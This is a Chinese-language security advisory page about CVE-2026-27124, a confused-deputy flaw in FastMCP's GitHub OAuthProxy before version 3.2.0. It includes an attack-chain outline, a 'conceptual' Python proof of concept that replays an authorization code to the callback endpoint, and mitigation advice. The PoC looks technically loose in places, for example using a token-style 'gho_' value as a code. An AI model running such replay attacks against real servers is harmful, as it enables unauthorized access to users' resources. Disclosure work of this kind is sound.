IPBUF安全漏洞报告
English
CVE-2026-27124 CVSS 6.1 中危

CVE-2026-27124 FastMCP OAuthProxy权限混淆漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-27124
漏洞类型
权限混淆
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
FastMCP

相关标签

权限混淆OAuthFastMCPCVE-2026-27124逻辑漏洞

漏洞概述

FastMCP是构建MCP应用程序的标准框架。在3.2.0版本之前,其GitHubProvider OAuth集成存在安全缺陷。FastMCP OAuthProxy在接收GitHub的授权代码时,未能正确验证用户的同意状态。结合GitHub对已授权客户端跳过同意页面的机制,导致存在Confused Deputy(权限混淆)漏洞,可能被利用绕过授权验证。

技术细节

该漏洞的核心在于OAuth流程中的逻辑缺陷。FastMCP OAuthProxy在处理GitHub返回的授权码时,未严格校验该授权码是否对应于当前请求的新鲜用户同意操作。由于GitHub的OAuth机制允许对已授权的应用跳过同意页面,攻击者可以利用这一特性,诱导受害者访问恶意链接。当受害者点击链接时,攻击者利用重放或复用旧的授权凭证,欺骗FastMCP OAuthProxy误认为用户已完成授权。由于缺乏对“同意”步骤的强校验,OAuthProxy错误地向攻击者端发放了访问令牌,从而允许攻击者在受害者未明确知情的情况下,利用受害者的权限访问受保护的MCP服务器资源。

攻击链分析

STEP 1
1. 信息收集
攻击者确认目标系统使用了FastMCP框架,并且启用了GitHub OAuth集成。
STEP 2
2. 诱导授权
攻击者诱导受害用户之前已经对GitHub应用进行过授权,利用GitHub对已信任应用跳过同意页面的特性。
STEP 3
3. 构造请求
攻击者构造包含有效授权码的恶意请求,发送给FastMCP OAuthProxy的回调端点。
STEP 4
4. 验证绕过
FastMCP OAuthProxy接收到授权码后,由于未正确验证用户的实时同意状态,错误地认为授权有效。
STEP 5
5. 获取权限
OAuthProxy向攻击者颁发访问令牌,允许其以受害者身份访问MCP服务器资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Conceptual Proof of Concept for CVE-2026-27124 # This script demonstrates the lack of consent validation in FastMCP OAuthProxy. # Attacker reuses a valid authorization code to gain access without fresh user consent. import requests def exploit_confused_deputy(proxy_url, victim_auth_code): """ Attempts to authenticate with the FastMCP OAuthProxy using a leaked or previously obtained authorization code without triggering a new consent screen. """ headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-27124-PoC-Client" } # The payload mimics the callback request from GitHub payload = { "code": victim_auth_code, "state": "attacker_controlled_state" } try: print(f"[*] Sending authorization code to {proxy_url}...") # In a vulnerable version (< 3.2.0), the proxy accepts the code # without verifying that the user explicitly approved this specific session. response = requests.post(proxy_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request successful!") if "access_token" in response.text or "session" in response.text: print("[+] Vulnerability confirmed: Access token granted without fresh consent.") print(f"[+] Response: {response.text}") else: print("[-] Response received but no token found. May require additional interaction.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example configuration TARGET_PROXY = "http://vulnerable-fastmcp-server:8080/oauth/callback" # A valid code that the victim previously authorized (GitHub reuses codes or skips consent) LEAKED_CODE = "gho_ExampleLeakedAuthorizationCode123" exploit_confused_deputy(TARGET_PROXY, LEAKED_CODE)

影响范围

FastMCP < 3.2.0

防御指南

临时缓解措施
在升级修复之前,建议暂时禁用GitHub OAuth登录功能,改用其他认证机制。同时,管理员应检查GitHub OAuth应用的授权日志,识别是否存在异常的授权请求或未知的客户端活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表